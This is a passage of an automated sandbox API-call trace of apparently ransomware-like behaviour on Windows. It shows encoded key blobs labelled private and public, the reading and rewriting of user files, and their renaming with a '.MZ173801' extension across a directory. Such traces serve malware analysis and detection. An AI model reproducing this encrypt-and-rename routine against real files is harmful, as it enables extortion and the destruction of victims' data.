gjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321ec7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0184.106] GetCurrentThreadId () returned 0xab4 [0184.106] GetCurrentThreadId () returned 0xab4 [0184.106] GetCurrentThreadId () returned 0xab4 [0184.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0184.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a003c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0184.107] GetCurrentThreadId () returned 0xab4 [0184.107] GetCurrentThreadId () returned 0xab4 [0184.107] GetCurrentThreadId () returned 0xab4 [0184.107] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\_trbIxVN.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\_trbixvn.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0184.107] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0184.107] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0184.107] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x1c2e [0184.107] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0184.107] ReadFile (in: hFile=0x32c, lpBuffer=0x24a7e40, nNumberOfBytesToRead=0x1c2e, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a7e40*, lpNumberOfBytesRead=0x19f74c*=0x1c2e, lpOverlapped=0x0) returned 1 [0184.207] CloseHandle (hObject=0x32c) returned 1 [0184.207] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\_trbIxVN.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\_trbixvn.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0184.226] WriteFile (in: hFile=0x32c, lpBuffer=0x24a9e70*, nNumberOfBytesToWrite=0x1c2e, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24a9e70*, lpNumberOfBytesWritten=0x19f758*=0x1c2e, lpOverlapped=0x0) returned 1 [0184.227] CloseHandle (hObject=0x32c) returned 1 [0184.227] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\_trbIxVN.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\_trbixvn.csv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\_trbIxVN.csv.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\_trbixvn.csv.mz173801")) returned 1 [0184.228] GetCurrentThreadId () returned 0xab4 [0184.228] GetCurrentThreadId () returned 0xab4 [0184.228] GetCurrentThreadId () returned 0xab4 [0184.228] GetCurrentThreadId () returned 0xab4 [0184.228] GetCurrentThreadId () returned 0xab4 [0184.229] GetCurrentThreadId () returned 0xab4 [0184.229] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab6530a0, ftCreationTime.dwHighDateTime=0x1d5e480, ftLastAccessTime.dwLowDateTime=0x58061980, ftLastAccessTime.dwHighDateTime=0x1d5f0d6, ftLastWriteTime.dwLowDateTime=0x58061980, ftLastWriteTime.dwHighDateTime=0x1d5f0d6, nFileSizeHigh=0x0, nFileSizeLow=0x1c2e, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="_trbIxVN.csv", cAlternateFileName="")) returned 0 [0184.229] GetLastError () returned 0x12 [0184.229] FindClose (in: hFindFile=0xa1b268 | out: hFindFile=0xa1b268) returned 1 [0184.229] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1fdf60, ftCreationTime.dwHighDateTime=0x1d5efad, ftLastAccessTime.dwLowDateTime=0x97f2e3b9, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x97f2e3b9, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b268 [0184.229] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0184.229] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0184.229] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1fdf60, ftCreationTime.dwHighDateTime=0x1d5efad, ftLastAccessTime.dwLowDateTime=0x97f2e3b9, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x97f2e3b9, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0184.229] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0184.229] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0184.229] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc07b6ee0, ftCreationTime.dwHighDateTime=0x1d5ef4e, ftLastAccessTime.dwLowDateTime=0xe69ea2c0, ftLastAccessTime.dwHighDateTime=0x1d5e46a, ftLastWriteTime.dwLowDateTime=0x93bf9f8f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x130e0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="4Zbv0xLp.mkv.MZ173801", cAlternateFileName="4ZBV0X~1.MZ1")) returned 1 [0184.229] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0184.229] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0184.230] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c72af30, ftCreationTime.dwHighDateTime=0x1d5e80d, ftLastAccessTime.dwLowDateTime=0x1ceb6f70, ftLastAccessTime.dwHighDateTime=0x1d5e4b6, ftLastWriteTime.dwLowDateTime=0x93d2b177, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xec36, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="gENSLI1SLB1QB.mkv.MZ173801", cAlternateFileName="GENSLI~1.MZ1")) returned 1 [0184.230] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0184.230] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0184.230] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe307e2f0, ftCreationTime.dwHighDateTime=0x1d5eab6, ftLastAccessTime.dwLowDateTime=0x30563730, ftLastAccessTime.dwHighDateTime=0x1d5e479, ftLastWriteTime.dwLowDateTime=0x93d514b9, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x53c4, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="LmhsbTNLSJY.xls.MZ173801", cAlternateFileName="LMHSBT~1.MZ1")) returned 1 [0184.230] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0184.230] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0184.230] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18d1ca60, ftCreationTime.dwHighDateTime=0x1d5e146, ftLastAccessTime.dwLowDateTime=0xc0e69440, ftLastAccessTime.dwHighDateTime=0x1d5e670, ftLastWriteTime.dwLowDateTime=0x93d7762b, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4177, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="lOp2Pc8PoOE5fYa7j.doc.MZ173801", cAlternateFileName="LOP2PC~1.MZ1")) returned 1 [0184.230] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0184.230] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0184.230] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb814fe40, ftCreationTime.dwHighDateTime=0x1d5e857, ftLastAccessTime.dwLowDateTime=0xe7db1020, ftLastAccessTime.dwHighDateTime=0x1d5ea59, ftLastWriteTime.dwLowDateTime=0x942d4ad1, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x964f, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="nb3RjEHaW-jlbqfMSzr.gif.MZ173801", cAlternateFileName="NB3RJE~1.MZ1")) returned 1 [0184.230] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0184.230] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0184.230] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6551520, ftCreationTime.dwHighDateTime=0x1d5e5b3, ftLastAccessTime.dwLowDateTime=0x2b770690, ftLastAccessTime.dwHighDateTime=0x1d5e0b9, ftLastWriteTime.dwLowDateTime=0x94b5311c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x1789b, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="oeJFddiIwMX1RoB4tjS.csv.MZ173801", cAlternateFileName="OEJFDD~1.MZ1")) returned 1 [0184.230] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0184.230] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0184.230] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c1b380, ftCreationTime.dwHighDateTime=0x1d5ed93, ftLastAccessTime.dwLowDateTime=0x87450720, ftLastAccessTime.dwHighDateTime=0x1d5ee50, ftLastWriteTime.dwLowDateTime=0x97c4b0a2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x1391b, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="RDCSEzrQ7xZ1X0RREt.avi.MZ173801", cAlternateFileName="RDCSEZ~1.MZ1")) returned 1 [0184.230] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0184.230] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0184.230] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa77e5890, ftCreationTime.dwHighDateTime=0x1d5e8a9, ftLastAccessTime.dwLowDateTime=0x26bcbb20, ftLastAccessTime.dwHighDateTime=0x1d5e651, ftLastWriteTime.dwLowDateTime=0x97dd6ec5, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x1018b, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="wuwHfL fJ2t.mp3.MZ173801", cAlternateFileName="WUWHFL~1.MZ1")) returned 1 [0184.230] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0184.231] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0184.231] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39d5960, ftCreationTime.dwHighDateTime=0x1d5e719, ftLastAccessTime.dwLowDateTime=0xb1ad15f0, ftLastAccessTime.dwHighDateTime=0x1d5eb96, ftLastWriteTime.dwLowDateTime=0x97dfd1d0, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3683, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="Zu8KI.mkv.MZ173801", cAlternateFileName="ZU8KIM~1.MZ1")) returned 1 [0184.231] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0184.231] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0184.231] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab6530a0, ftCreationTime.dwHighDateTime=0x1d5e480, ftLastAccessTime.dwLowDateTime=0x58061980, ftLastAccessTime.dwHighDateTime=0x1d5f0d6, ftLastWriteTime.dwLowDateTime=0x97f2e3b9, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x1c2e, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="_trbIxVN.csv.MZ173801", cAlternateFileName="_TRBIX~1.MZ1")) returned 1 [0184.231] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0184.231] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0184.231] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab6530a0, ftCreationTime.dwHighDateTime=0x1d5e480, ftLastAccessTime.dwLowDateTime=0x58061980, ftLastAccessTime.dwHighDateTime=0x1d5f0d6, ftLastWriteTime.dwLowDateTime=0x97f2e3b9, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x1c2e, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="_trbIxVN.csv.MZ173801", cAlternateFileName="_TRBIX~1.MZ1")) returned 0 [0184.231] GetLastError () returned 0x12 [0184.231] FindClose (in: hFindFile=0xa1b268 | out: hFindFile=0xa1b268) returned 1 [0184.231] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16dcded0, ftCreationTime.dwHighDateTime=0x1d5e591, ftLastAccessTime.dwLowDateTime=0xc8546fa0, ftLastAccessTime.dwHighDateTime=0x1d5e92b, ftLastWriteTime.dwLowDateTime=0x92f4f682, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x9429, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="9rQNK dYKtJL.mkv.MZ173801", cAlternateFileName="9RQNKD~1.MZ1")) returned 1 [0184.231] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.231] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.231] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9085f310, ftCreationTime.dwHighDateTime=0x1d5ee11, ftLastAccessTime.dwLowDateTime=0x2fbb4ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0ee, ftLastWriteTime.dwLowDateTime=0x92f759e6, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x9f24, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="BEd17CeTok20XCp bu.docx.MZ173801", cAlternateFileName="BED17C~1.MZ1")) returned 1 [0184.231] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.231] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.231] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd381f1d0, ftCreationTime.dwHighDateTime=0x1d5f11a, ftLastAccessTime.dwLowDateTime=0x88910f70, ftLastAccessTime.dwHighDateTime=0x1d5eced, ftLastWriteTime.dwLowDateTime=0x93034552, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xaf96, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="BpRoek76B4s.m4a.MZ173801", cAlternateFileName="BPROEK~1.MZ1")) returned 1 [0184.231] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.232] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.232] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56aa5330, 